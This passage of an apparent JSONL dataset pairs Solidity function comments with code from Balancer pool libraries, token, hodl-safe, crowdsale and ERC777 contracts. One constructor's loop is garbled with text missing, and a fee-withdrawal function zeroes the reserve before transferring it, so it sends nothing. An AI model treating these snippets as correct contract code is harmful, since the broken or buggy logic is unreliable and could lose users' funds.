\"ERR_NO_TOKEN_COMMIT\");\n require(BalancerSafeMath.bsub(block.number, newToken.commitBlock) >= addTokenTimeLockInBlocks,\n \"ERR_TIMELOCK_STILL_COUNTING\");\n\n uint totalSupply = self.totalSupply();\n\n // poolShares = totalSupply * newTokenWeight / totalWeight\n uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply, newToken.denorm),\n bPool.getTotalDenormalizedWeight());\n\n // Clear this to allow adding more tokens\n newToken.isCommitted = false;\n\n // First gets the tokens from msg.sender to this contract (Pool Controller)\n bool returnValue = IERC20(newToken.addr).transferFrom(self.getController(), address(self), newToken.balance);\n require(returnValue, \"ERR_ERC20_FALSE\");\n\n // Now with the tokens this contract can bind them to the pool it controls\n // Approves bPool to pull from this controller\n // Approve unlimited, same as when creating the pool, so they can join pools later\n returnValue = SafeApprove.safeApprove(IERC20(newToken.addr), address(bPool), BalancerConstants.MAX_UINT);\n require(returnValue, \"ERR_ERC20_FALSE\");\n\n bPool.bind(newToken.addr, newToken.balance, newToken.denorm);\n\n self.mintPoolShareFromLib(poolShares);\n self.pushPoolShareFromLib(msg.sender, poolShares);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Remove a token from the pool\n * @dev Logic in the CRP controls when ths can be called. There are two related permissions:\n * AddRemoveTokens - which allows removing down to the underlying BPool limit of two\n * RemoveAllTokens - which allows completely draining the pool by removing all tokens\n * This can result in a non-viable pool with 0 or 1 tokens (by design),\n * meaning all swapping or binding operations would fail in this state\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param token - token to remove\n */", "function_code": "function removeToken(\n IConfigurableRightsPool self,\n IBPool bPool,\n address token\n )\n external\n {\n uint totalSupply = self.totalSupply();\n\n // poolShares = totalSupply * tokenWeight / totalWeight\n uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply,\n bPool.getDenormalizedWeight(token)),\n bPool.getTotalDenormalizedWeight());\n\n // this is what will be unbound from the pool\n // Have to get it before unbinding\n uint balance = bPool.getBalance(token);\n\n // Unbind and get the tokens out of balancer pool\n bPool.unbind(token);\n\n // Now with the tokens this contract can send them to msg.sender\n bool xfer = IERC20(token).transfer(self.getController(), balance);\n require(xfer, \"ERR_ERC20_FALSE\");\n\n self.pullPoolShareFromLib(self.getController(), poolShares);\n self.burnPoolShareFromLib(poolShares);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Join a pool\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param poolAmountOut - number of pool tokens to receive\n * @param maxAmountsIn - Max amount of asset tokens to spend\n * @return actualAmountsIn - calculated values of the tokens to pull in\n */", "function_code": "function joinPool(\n IConfigurableRightsPool self,\n IBPool bPool,\n uint poolAmountOut,\n uint[] calldata maxAmountsIn\n )\n external\n view\n returns (uint[] memory actualAmountsIn)\n {\n address[] memory tokens = bPool.getCurrentTokens();\n\n require(maxAmountsIn.length == tokens.length, \"ERR_AMOUNTS_MISMATCH\");\n\n uint poolTotal = self.totalSupply();\n // Subtract 1 to ensure any rounding errors favor the pool\n uint ratio = BalancerSafeMath.bdiv(poolAmountOut,\n BalancerSafeMath.bsub(poolTotal, 1));\n\n require(ratio != 0, \"ERR_MATH_APPROX\");\n\n // We know the length of the array; initialize it, and fill it below\n // Cannot do \"push\" in memory\n actualAmountsIn = new uint[](tokens.length);\n\n // This loop contains external calls\n // External calls are to math libraries or the underlying pool, so low risk\n for (uint i = 0; i < tokens.length; i++) {\n address t = tokens[i];\n uint bal = bPool.getBalance(t);\n // Add 1 to ensure any rounding errors favor the pool\n uint tokenAmountIn = BalancerSafeMath.bmul(ratio,\n BalancerSafeMath.badd(bal, 1));\n\n require(tokenAmountIn != 0, \"ERR_MATH_APPROX\");\n require(tokenAmountIn <= maxAmountsIn[i], \"ERR_LIMIT_IN\");\n\n actualAmountsIn[i] = tokenAmountIn;\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Exit a pool - redeem pool tokens for underlying assets\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param poolAmountIn - amount of pool tokens to redeem\n * @param minAmountsOut - minimum amount of asset tokens to receive\n * @return exitFee - calculated exit fee\n * @return pAiAfterExitFee - final amount in (after accounting for exit fee)\n * @return actualAmountsOut - calculated amounts of each token to pull\n */", "function_code": "function exitPool(\n IConfigurableRightsPool self,\n IBPool bPool,\n uint poolAmountIn,\n uint[] calldata minAmountsOut\n )\n external\n view\n returns (uint exitFee, uint pAiAfterExitFee, uint[] memory actualAmountsOut)\n {\n address[] memory tokens = bPool.getCurrentTokens();\n\n require(minAmountsOut.length == tokens.length, \"ERR_AMOUNTS_MISMATCH\");\n\n uint poolTotal = self.totalSupply();\n\n // Calculate exit fee and the final amount in\n exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);\n pAiAfterExitFee = BalancerSafeMath.bsub(poolAmountIn, exitFee);\n\n uint ratio = BalancerSafeMath.bdiv(pAiAfterExitFee,\n BalancerSafeMath.badd(poolTotal, 1));\n\n require(ratio != 0, \"ERR_MATH_APPROX\");\n\n actualAmountsOut = new uint[](tokens.length);\n\n // This loop contains external calls\n // External calls are to math libraries or the underlying pool, so low risk\n for (uint i = 0; i < tokens.length; i++) {\n address t = tokens[i];\n uint bal = bPool.getBalance(t);\n // Subtract 1 to ensure any rounding errors favor the pool\n uint tokenAmountOut = BalancerSafeMath.bmul(ratio,\n BalancerSafeMath.bsub(bal, 1));\n\n require(tokenAmountOut != 0, \"ERR_MATH_APPROX\");\n require(tokenAmountOut >= minAmountsOut[i], \"ERR_LIMIT_OUT\");\n\n actualAmountsOut[i] = tokenAmountOut;\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Join by swapping a fixed amount of an external token in (must be present in the pool)\n * System calculates the pool token amount\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param tokenIn - which token we're transferring in\n * @param tokenAmountIn - amount of deposit\n * @param minPoolAmountOut - minimum of pool tokens to receive\n * @return poolAmountOut - amount of pool tokens minted and transferred\n */", "function_code": "function joinswapExternAmountIn(\n IConfigurableRightsPool self,\n IBPool bPool,\n address tokenIn,\n uint tokenAmountIn,\n uint minPoolAmountOut\n )\n external\n view\n returns (uint poolAmountOut)\n {\n require(bPool.isBound(tokenIn), \"ERR_NOT_BOUND\");\n require(tokenAmountIn <= BalancerSafeMath.bmul(bPool.getBalance(tokenIn),\n BalancerConstants.MAX_IN_RATIO),\n \"ERR_MAX_IN_RATIO\");\n\n poolAmountOut = bPool.calcPoolOutGivenSingleIn(\n bPool.getBalance(tokenIn),\n bPool.getDenormalizedWeight(tokenIn),\n self.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n tokenAmountIn,\n bPool.getSwapFee()\n );\n\n require(poolAmountOut >= minPoolAmountOut, \"ERR_LIMIT_OUT\");\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Join by swapping an external token in (must be present in the pool)\n * To receive an exact amount of pool tokens out. System calculates the deposit amount\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param tokenIn - which token we're transferring in (system calculates amount required)\n * @param poolAmountOut - amount of pool tokens to be received\n * @param maxAmountIn - Maximum asset tokens that can be pulled to pay for the pool tokens\n * @return tokenAmountIn - amount of asset tokens transferred in to purchase the pool tokens\n */", "function_code": "function joinswapPoolAmountOut(\n IConfigurableRightsPool self,\n IBPool bPool,\n address tokenIn,\n uint poolAmountOut,\n uint maxAmountIn\n )\n external\n view\n returns (uint tokenAmountIn)\n {\n require(bPool.isBound(tokenIn), \"ERR_NOT_BOUND\");\n\n tokenAmountIn = bPool.calcSingleInGivenPoolOut(\n bPool.getBalance(tokenIn),\n bPool.getDenormalizedWeight(tokenIn),\n self.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n poolAmountOut,\n bPool.getSwapFee()\n );\n\n require(tokenAmountIn != 0, \"ERR_MATH_APPROX\");\n require(tokenAmountIn <= maxAmountIn, \"ERR_LIMIT_IN\");\n\n require(tokenAmountIn <= BalancerSafeMath.bmul(bPool.getBalance(tokenIn),\n BalancerConstants.MAX_IN_RATIO),\n \"ERR_MAX_IN_RATIO\");\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Exit a pool - redeem a specific number of pool tokens for an underlying asset\n * Asset must be present in the pool, and will incur an EXIT_FEE (if set to non-zero)\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param tokenOut - which token the caller wants to receive\n * @param poolAmountIn - amount of pool tokens to redeem\n * @param minAmountOut - minimum asset tokens to receive\n * @return exitFee - calculated exit fee\n * @return tokenAmountOut - amount of asset tokens returned\n */", "function_code": "function exitswapPoolAmountIn(\n IConfigurableRightsPool self,\n IBPool bPool,\n address tokenOut,\n uint poolAmountIn,\n uint minAmountOut\n )\n external\n view\n returns (uint exitFee, uint tokenAmountOut)\n {\n require(bPool.isBound(tokenOut), \"ERR_NOT_BOUND\");\n\n tokenAmountOut = bPool.calcSingleOutGivenPoolIn(\n bPool.getBalance(tokenOut),\n bPool.getDenormalizedWeight(tokenOut),\n self.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n poolAmountIn,\n bPool.getSwapFee()\n );\n\n require(tokenAmountOut >= minAmountOut, \"ERR_LIMIT_OUT\");\n require(tokenAmountOut <= BalancerSafeMath.bmul(bPool.getBalance(tokenOut),\n BalancerConstants.MAX_OUT_RATIO),\n \"ERR_MAX_OUT_RATIO\");\n\n exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Exit a pool - redeem pool tokens for a specific amount of underlying assets\n * Asset must be present in the pool\n * @param self - ConfigurableRightsPool instance calling the library\n * @param bPool - Core BPool the CRP is wrapping\n * @param tokenOut - which token the caller wants to receive\n * @param tokenAmountOut - amount of underlying asset tokens to receive\n * @param maxPoolAmountIn - maximum pool tokens to be redeemed\n * @return exitFee - calculated exit fee\n * @return poolAmountIn - amount of pool tokens redeemed\n */", "function_code": "function exitswapExternAmountOut(\n IConfigurableRightsPool self,\n IBPool bPool,\n address tokenOut,\n uint tokenAmountOut,\n uint maxPoolAmountIn\n )\n external\n view\n returns (uint exitFee, uint poolAmountIn)\n {\n require(bPool.isBound(tokenOut), \"ERR_NOT_BOUND\");\n require(tokenAmountOut <= BalancerSafeMath.bmul(bPool.getBalance(tokenOut),\n BalancerConstants.MAX_OUT_RATIO),\n \"ERR_MAX_OUT_RATIO\");\n poolAmountIn = bPool.calcPoolInGivenSingleOut(\n bPool.getBalance(tokenOut),\n bPool.getDenormalizedWeight(tokenOut),\n self.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n tokenAmountOut,\n bPool.getSwapFee()\n );\n\n require(poolAmountIn != 0, \"ERR_MATH_APPROX\");\n require(poolAmountIn <= maxPoolAmountIn, \"ERR_LIMIT_IN\");\n\n exitFee = BalancerSafeMath.bmul(poolAmountIn, BalancerConstants.EXIT_FEE);\n }", "version": "0.6.12"} {"comment": "// Calculated based on % of total vote supply at snapshotId, multiplied by amount available, minus claimed", "function_code": "function claimable(uint snapshotId, address user) public view returns (uint) {\n IVoters voters = IVoters(dao.voters());\n uint total = snapshotAmounts[snapshotId];\n uint totalSupply = voters.totalSupplyAt(snapshotId);\n uint balance = voters.balanceOfAt(user, snapshotId);\n require(totalSupply > 0, \"totalSupply = 0\");\n return ((total * balance) / totalSupply) - claimedAmounts[snapshotId][user];\n }", "version": "0.8.7"} {"comment": "// Update minimum tokens accumulated on the contract before a swap is performed", "function_code": "function updateMinTokensBeforeSwap(uint256 newAmount) external onlyOwner {\r\n uint256 circulatingTokens = _totalTokens - balanceOf(_deadAddress);\r\n\r\n uint256 maxTokensBeforeSwap = circulatingTokens / 110;\r\n uint256 newMinTokensBeforeSwap = newAmount * 10**9;\r\n\r\n require(newMinTokensBeforeSwap < maxTokensBeforeSwap, \"Amount must be less than 1 percent of the circulating supply\");\r\n _minTokensBeforeSwap = newMinTokensBeforeSwap;\r\n }", "version": "0.8.9"} {"comment": "// If there is a PCS upgrade then add the ability to change the router and pairs to the new version", "function_code": "function changeRouterVersion(address _router) public onlyOwner returns (address) {\r\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);\r\n\r\n address newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());\r\n if(newPair == address(0)){\r\n // Pair doesn't exist\r\n newPair = IUniswapV2Factory(_uniswapV2Router.factory())\r\n .createPair(address(this), _uniswapV2Router.WETH());\r\n }\r\n // Set the new pair\r\n uniswapV2Pair = newPair;\r\n\r\n // Set the router of the contract variables\r\n uniswapV2Router = _uniswapV2Router;\r\n\r\n return newPair;\r\n }", "version": "0.8.9"} {"comment": "// Check all transactions and group transactions older than 21 days into their own bucket", "function_code": "function _aggregateOldTransactions(address sender) private {\r\n uint256 totalBlockTimes = _timedTransactionsMap[sender].txBlockTimes.length;\r\n\r\n if (totalBlockTimes < 1) {\r\n return;\r\n }\r\n\r\n uint256 oldestBlockTime = block.timestamp - _gate2Time;\r\n\r\n // If the first transaction is not yet 21 days old then do not aggregate\r\n if (_timedTransactionsMap[sender].txBlockTimes[0] > oldestBlockTime) {\r\n return;\r\n }\r\n\r\n uint lastAggregateIndex = 0;\r\n uint256 totalTokens = 0;\r\n for (uint i = 0; i < totalBlockTimes; i++) {\r\n uint256 txBlockTime = _timedTransactionsMap[sender].txBlockTimes[i];\r\n\r\n if (txBlockTime > oldestBlockTime) {\r\n break;\r\n }\r\n\r\n totalTokens = totalTokens + _timedTransactionsMap[sender].timedTxAmount[txBlockTime];\r\n lastAggregateIndex = i;\r\n }\r\n\r\n _sliceBlockTimeArray(sender, lastAggregateIndex);\r\n\r\n _timedTransactionsMap[sender].txBlockTimes[0] = OVER_21_DAYS_BLOCK_TIME;\r\n _timedTransactionsMap[sender].timedTxAmount[OVER_21_DAYS_BLOCK_TIME] = totalTokens;\r\n }", "version": "0.8.9"} {"comment": "// _sliceBlockTimeArray removes elements before the provided index from the transaction block\n// time array for the given account. This is in order to keep an ordered list of transaction block\n// times.", "function_code": "function _sliceBlockTimeArray(address account, uint indexFrom) private {\r\n uint oldArrayLength = _timedTransactionsMap[account].txBlockTimes.length;\r\n\r\n if (indexFrom <= 0) return;\r\n\r\n if (indexFrom >= oldArrayLength) {\r\n while (_timedTransactionsMap[account].txBlockTimes.length != 0) {\r\n _timedTransactionsMap[account].txBlockTimes.pop();\r\n }\r\n return;\r\n }\r\n\r\n uint newArrayLength = oldArrayLength - indexFrom;\r\n\r\n uint counter = 0;\r\n for (uint i = indexFrom; i < oldArrayLength; i++) {\r\n _timedTransactionsMap[account].txBlockTimes[counter] = _timedTransactionsMap[account].txBlockTimes[i];\r\n counter++;\r\n }\r\n\r\n while (newArrayLength != _timedTransactionsMap[account].txBlockTimes.length) {\r\n _timedTransactionsMap[account].txBlockTimes.pop();\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev See `IERC777.operatorSend`.\r\n *\r\n * Emits `Sent` and `Transfer` events.\r\n */", "function_code": "function operatorSend(\r\n address sender,\r\n address recipient,\r\n uint256 amount,\r\n bytes memory data,\r\n bytes memory operatorData\r\n )\r\n public\r\n {\r\n require(isOperatorFor(msg.sender, sender), \"ERC777: caller is not an operator for holder\");\r\n _send(msg.sender, sender, recipient, amount, data, operatorData, true);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * add new hodl safe (ERC20 token)\r\n */", "function_code": "function HodlTokens(address tokenAddress, uint256 amount) public contractActive {\r\n require(tokenAddress != 0x0);\r\n require(amount > 0);\r\n \r\n ERC20Interface token = ERC20Interface(tokenAddress);\r\n \r\n require(token.transferFrom(msg.sender, address(this), amount));\r\n \r\n _userSafes[msg.sender].push(_currentIndex);\r\n _safes[_currentIndex] = Safe(_currentIndex, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol());\r\n \r\n _totalSaved[tokenAddress] = add(_totalSaved[tokenAddress], amount);\r\n \r\n _currentIndex++;\r\n _countSafes++;\r\n \r\n emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * store comission from unfinished hodl\r\n */", "function_code": "function StoreComission(address tokenAddress, uint256 amount) private {\r\n \r\n _systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount);\r\n \r\n bool isNew = true;\r\n for(uint256 i = 0; i < _listedReserves.length; i++) {\r\n if(_listedReserves[i] == tokenAddress) {\r\n isNew = false;\r\n break;\r\n }\r\n } \r\n if(isNew) _listedReserves.push(tokenAddress); \r\n }", "version": "0.4.25"} {"comment": "/**\r\n * delete safe values in storage\r\n */", "function_code": "function DeleteSafe(Safe s) private {\r\n \r\n _totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount);\r\n delete _safes[s.id];\r\n \r\n uint256[] storage vector = _userSafes[msg.sender];\r\n uint256 size = vector.length; \r\n for(uint256 i = 0; i < size; i++) {\r\n if(vector[i] == s.id) {\r\n vector[i] = vector[size-1];\r\n vector.length--;\r\n break;\r\n }\r\n } \r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Get user's any token balance\r\n */", "function_code": "function GetHodlTokensBalance(address tokenAddress) public view returns (uint256 balance) {\r\n require(tokenAddress != 0x0);\r\n \r\n for(uint256 i = 1; i < _currentIndex; i++) { \r\n Safe storage s = _safes[i];\r\n if(s.user == msg.sender && s.tokenAddress == tokenAddress)\r\n balance += s.amount;\r\n }\r\n return balance;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * owner: withdraw all eth and all tokens fees\r\n */", "function_code": "function WithdrawAllFees() onlyOwner public {\r\n \r\n // ether\r\n uint256 x = _systemReserves[0x0];\r\n if(x > 0 && x <= address(this).balance) {\r\n _systemReserves[0x0] = 0;\r\n msg.sender.transfer(_systemReserves[0x0]);\r\n }\r\n \r\n // tokens\r\n address ta;\r\n ERC20Interface token;\r\n for(uint256 i = 0; i < _listedReserves.length; i++) {\r\n ta = _listedReserves[i];\r\n if(_systemReserves[ta] > 0)\r\n { \r\n x = _systemReserves[ta];\r\n _systemReserves[ta] = 0;\r\n \r\n token = ERC20Interface(ta);\r\n token.transfer(msg.sender, x);\r\n }\r\n }\r\n _listedReserves.length = 0; \r\n }", "version": "0.4.25"} {"comment": "/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.\n/// @param _from Address from where tokens are withdrawn.\n/// @param _to Address to where tokens are sent.\n/// @param _value Number of tokens to transfer.\n/// @return Returns success of function call.", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n public\r\n returns (bool)\r\n {\r\n if (balances[_from] < _value || allowed[_from][msg.sender] < _value) {\r\n // Balance or allowance too low\r\n revert();\r\n }\r\n balances[_to] += _value;\r\n balances[_from] -= _value;\r\n allowed[_from][msg.sender] -= _value;\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.22"} {"comment": "/// @dev Contract constructor function gives tokens to presale_addresses and leave 100k tokens for sale.\n/// @param presale_addresses Array of addresses receiving preassigned tokens.\n/// @param tokens Array of preassigned token amounts.\n/// NB: Max 4 presale_addresses", "function_code": "function SolarNA(address[] presale_addresses, uint[] tokens)\r\n public\r\n {\r\n uint assignedTokens;\r\n owner = msg.sender;\r\n maxSupply = 500000 * 10**3;\r\n for (uint i=0; i 4 => The maxSupply will increase\r\n remaining = maxSupply - assignedTokens;\r\n assignedTokens += remaining;\r\n if (assignedTokens != maxSupply) {\r\n revert();\r\n }\r\n }", "version": "0.4.22"} {"comment": "//@dev customer registration function. Checks if customer exist first then adds to customers array. otherwai", "function_code": "function register() public payable {\r\n require(msg.value >= registrationFee, \"Insufficient funds sent\");\r\n require(\r\n UserRegistion[msg.sender].isPaid == false,\r\n \"You already registered you knucklehead\"\r\n );\r\n\r\n if (UserRegistion[msg.sender].expirationDate == 0) {\r\n addressList.push(msg.sender);\r\n UserRegistion[msg.sender].isPaid = true;\r\n UserRegistion[msg.sender].expirationDate =\r\n block.timestamp +\r\n 365 days;\r\n }\r\n\r\n if (\r\n UserRegistion[msg.sender].expirationDate > block.timestamp &&\r\n UserRegistion[msg.sender].isPaid == false\r\n ) {\r\n UserRegistion[msg.sender].isPaid = true;\r\n UserRegistion[msg.sender].expirationDate =\r\n block.timestamp +\r\n 365 days;\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @dev Function to summon minion and configure with a new safe and a dao", "function_code": "function summonDaoMinionAndSafe(\r\n // address _summoner,\r\n uint256 _saltNonce,\r\n uint256 _periodDuration,\r\n uint256 _votingPeriodLength,\r\n uint256 _gracePeriodLength,\r\n address[] calldata _approvedTokens, // TODO: should this just be the native wrapper\r\n string calldata details\r\n ) external returns (address _moloch, address _minion) {\r\n // Deploy new minion but do not set it up yet\r\n\r\n _moloch = daoSummoner.summonMoloch(\r\n msg.sender, // summoner TODO: do we still need this\r\n address(this), // _shaman,\r\n _approvedTokens,\r\n _periodDuration,\r\n _votingPeriodLength,\r\n _gracePeriodLength,\r\n 0, // deposit\r\n 3, // dillution bound\r\n 0 // reward\r\n );\r\n\r\n _minion = minionSummoner.summonMinionAndSafe(\r\n _moloch,\r\n details,\r\n 0,\r\n _saltNonce\r\n );\r\n\r\n IMINION minionContract = IMINION(_minion);\r\n\r\n daoIdx = daoIdx + 1;\r\n daos[daoIdx] = DSM(\r\n msg.sender,\r\n _moloch,\r\n _minion,\r\n minionContract.avatar(),\r\n false\r\n );\r\n\r\n emit SummonComplete(\r\n msg.sender,\r\n _moloch,\r\n _minion,\r\n minionContract.avatar(),\r\n details\r\n );\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * Constructor for a crowdsale of QuantstampToken tokens.\r\n *\r\n * @param ifSuccessfulSendTo the beneficiary of the fund\r\n * @param fundingCapInEthers the cap (maximum) size of the fund\r\n * @param minimumContributionInWei minimum contribution (in wei)\r\n * @param start the start time (UNIX timestamp)\r\n * @param durationInMinutes the duration of the crowdsale in minutes\r\n */", "function_code": "function QuantstampSale(\r\n address ifSuccessfulSendTo,\r\n uint fundingCapInEthers,\r\n uint minimumContributionInWei,\r\n uint start,\r\n uint durationInMinutes\r\n // address addressOfTokenUsedAsReward\r\n ) {\r\n require(ifSuccessfulSendTo != address(0) && ifSuccessfulSendTo != address(this));\r\n //require(addressOfTokenUsedAsReward != address(0) && addressOfTokenUsedAsReward != address(this));\r\n require(durationInMinutes > 0);\r\n beneficiary = ifSuccessfulSendTo;\r\n fundingCap = fundingCapInEthers * 1 ether;\r\n minContribution = minimumContributionInWei;\r\n startTime = start;\r\n endTime = start + (durationInMinutes * 1 minutes);\r\n // tokenReward = QuantstampToken(addressOfTokenUsedAsReward);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Computes the amount of QSP that should be issued for the given transaction.\r\n * Contribution tiers are filled up in the order 3, 2, 1, 4.\r\n * @param addr The wallet address of the contributor\r\n * @param amount Amount of wei for payment\r\n */", "function_code": "function computeTokenAmount(address addr, uint amount) internal\r\n returns (uint){\r\n require(amount > 0);\r\n uint r3 = cap3[addr].sub(contributed3[addr]);\r\n uint r2 = cap2[addr].sub(contributed2[addr]);\r\n uint r1 = cap1[addr].sub(contributed1[addr]);\r\n uint r4 = cap4[addr].sub(contributed4[addr]);\r\n uint numTokens = 0;\r\n // cannot contribute more than the remaining sum\r\n assert(amount <= r3.add(r2).add(r1).add(r4));\r\n // Compute tokens for tier 3\r\n if(r3 > 0){\r\n if(amount <= r3){\r\n contributed3[addr] = contributed3[addr].add(amount);\r\n return rate3.mul(amount);\r\n }\r\n else{\r\n numTokens = rate3.mul(r3);\r\n amount = amount.sub(r3);\r\n contributed3[addr] = cap3[addr];\r\n }\r\n }\r\n // Compute tokens for tier 2\r\n if(r2 > 0){\r\n if(amount <= r2){\r\n contributed2[addr] = contributed2[addr].add(amount);\r\n return numTokens.add(rate2.mul(amount));\r\n }\r\n else{\r\n numTokens = numTokens.add(rate2.mul(r2));\r\n amount = amount.sub(r2);\r\n contributed2[addr] = cap2[addr];\r\n }\r\n }\r\n // Compute tokens for tier 1\r\n if(r1 > 0){\r\n if(amount <= r1){\r\n contributed1[addr] = contributed1[addr].add(amount);\r\n return numTokens.add(rate1.mul(amount));\r\n }\r\n else{\r\n numTokens = numTokens.add(rate1.mul(r1));\r\n amount = amount.sub(r1);\r\n contributed1[addr] = cap1[addr];\r\n }\r\n }\r\n // Compute tokens for tier 4 (overflow)\r\n contributed4[addr] = contributed4[addr].add(amount);\r\n return numTokens.add(rate4.mul(amount));\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * If the user was already registered, ensure that the new caps do not conflict previous contributions\r\n *\r\n * NOTE: cannot use SafeMath here, because it exceeds the local variable stack limit.\r\n * Should be ok since it is onlyOwner, and conditionals should guard the subtractions from underflow.\r\n */", "function_code": "function validateUpdatedRegistration(address addr, uint c1, uint c2, uint c3, uint c4)\r\n internal\r\n constant\r\n onlyOwner returns(bool)\r\n {\r\n return (contributed3[addr] <= c3) && (contributed2[addr] <= c2)\r\n && (contributed1[addr] <= c1) && (contributed4[addr] <= c4);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Sets registration status of an address for participation.\r\n *\r\n * @param contributor Address that will be registered/deregistered.\r\n * @param c1 The maximum amount of wei that the user can contribute in tier 1.\r\n * @param c2 The maximum amount of wei that the user can contribute in tier 2.\r\n * @param c3 The maximum amount of wei that the user can contribute in tier 3.\r\n * @param c4 The maximum amount of wei that the user can contribute in tier 4.\r\n */", "function_code": "function registerUser(address contributor, uint c1, uint c2, uint c3, uint c4)\r\n public\r\n onlyOwner\r\n {\r\n require(contributor != address(0));\r\n // if the user was already registered ensure that the new caps do not contradict their current contributions\r\n if(hasPreviouslyRegistered(contributor)){\r\n require(validateUpdatedRegistration(contributor, c1, c2, c3, c4));\r\n }\r\n require(c1.add(c2).add(c3).add(c4) >= minContribution);\r\n registry[contributor] = true;\r\n cap1[contributor] = c1;\r\n cap2[contributor] = c2;\r\n cap3[contributor] = c3;\r\n cap4[contributor] = c4;\r\n RegistrationStatusChanged(contributor, true, c1, c2, c3, c4);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Sets registration statuses of addresses for participation.\r\n * @param contributors Addresses that will be registered/deregistered.\r\n * @param caps1 The maximum amount of wei that each user can contribute to cap1, in the same order as the addresses.\r\n * @param caps2 The maximum amount of wei that each user can contribute to cap2, in the same order as the addresses.\r\n * @param caps3 The maximum amount of wei that each user can contribute to cap3, in the same order as the addresses.\r\n * @param caps4 The maximum amount of wei that each user can contribute to cap4, in the same order as the addresses.\r\n */", "function_code": "function registerUsers(address[] contributors,\r\n uint[] caps1,\r\n uint[] caps2,\r\n uint[] caps3,\r\n uint[] caps4)\r\n external\r\n onlyOwner\r\n {\r\n // check that all arrays have the same length\r\n require(contributors.length == caps1.length);\r\n require(contributors.length == caps2.length);\r\n require(contributors.length == caps3.length);\r\n require(contributors.length == caps4.length);\r\n for (uint i = 0; i < contributors.length; i++) {\r\n registerUser(contributors[i], caps1[i], caps2[i], caps3[i], caps4[i]);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n *\r\n * The owner can allocate the specified amount of tokens from the\r\n * crowdsale allowance to the recipient (_to).\r\n *\r\n *\r\n *\r\n * NOTE: be extremely careful to get the amounts correct, which\r\n * are in units of wei and mini-QSP. Every digit counts.\r\n *\r\n * @param _to the recipient of the tokens\r\n * @param amountWei the amount contributed in wei\r\n * @param amountMiniQsp the amount of tokens transferred in mini-QSP\r\n */", "function_code": "function ownerAllocateTokens(address _to, uint amountWei, uint amountMiniQsp)\r\n onlyOwner nonReentrant\r\n {\r\n // don't allocate tokens for the admin\r\n // require(tokenReward.adminAddr() != _to);\r\n amountRaised = amountRaised.add(amountWei);\r\n require(amountRaised <= fundingCap);\r\n tokenBalanceOf[_to] = tokenBalanceOf[_to].add(amountMiniQsp);\r\n balanceOf[_to] = balanceOf[_to].add(amountWei);\r\n FundTransfer(_to, amountWei, true);\r\n updateFundingCap();\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Checks if the funding cap has been reached. If it has, then\r\n * the CapReached event is triggered.\r\n */", "function_code": "function updateFundingCap() internal {\r\n assert (amountRaised <= fundingCap);\r\n if (amountRaised == fundingCap) {\r\n // Check if the funding cap has been reached\r\n fundingCapReached = true;\r\n saleClosed = true;\r\n CapReached(beneficiary, amountRaised);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\n * @notice Distributes rewards to token holders.\n * @dev It reverts if the total shares is 0.\n * It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.\n * About undistributed rewards:\n * In each distribution, there is a small amount which does not get distributed,\n * which is `(amount * POINTS_MULTIPLIER) % totalShares()`.\n * With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting\n * distributed in a distribution can be less than 1 (base unit).\n */", "function_code": "function _distributeRewards(uint256 _amount) internal {\n uint256 shares = getTotalShares();\n require(shares > 0, \"AbstractRewards._distributeRewards: total share supply is zero\");\n\n if (_amount > 0) {\n pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares);\n emit RewardsDistributed(msg.sender, _amount);\n }\n }", "version": "0.8.7"} {"comment": "// Mint on behalf of bot contract", "function_code": "function mint(uint256 _optionId, address _toAddress) override public {\n // Must be sent from the owner proxy or owner.\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\n assert(\n owner() == 